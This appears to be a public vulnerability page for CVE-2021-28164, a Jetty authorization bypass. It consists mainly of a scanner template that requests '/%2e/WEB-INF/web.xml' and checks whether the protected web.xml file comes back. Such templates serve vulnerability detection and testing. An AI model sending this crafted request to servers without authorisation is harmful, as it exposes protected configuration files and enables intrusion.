CVE-2021-28164: Jetty Authorization Before Parsing and Canonicalization

2025-08-01 Jetty PoC Public

Description

Jetty before 9.4.43.v20210629 does not properly authorize requests before parsing and canonicalizing the path, which allows remote attackers to read arbitrary files via a crafted request.

PoC

id: CVE-2021-28164

info:
  name: Jetty Authorization Before Parsing and Canonicalization
  author: Sup3rm4nx0x
  severity: medium
  description: |-
    Jetty before 9.4.43.v20210629 does not properly authorize requests before parsing and canonicalizing the path, which allows remote attackers to read arbitrary files via a crafted request.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28164
    - https://www.rapid7.com/db/modules/auxiliary/scanner/http/jetty_authorization_bypass/
  tags: cve,cve2021,jetty,ssrf
  created: 2024/02/26

rules:
  r0:
    request:
      method: GET
      path: /%2e/WEB-INF/web.xml
    expression: response.status == 200 && response.body.bcontains(b'<web-app') && response.body.bcontains(b'</web-app>')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities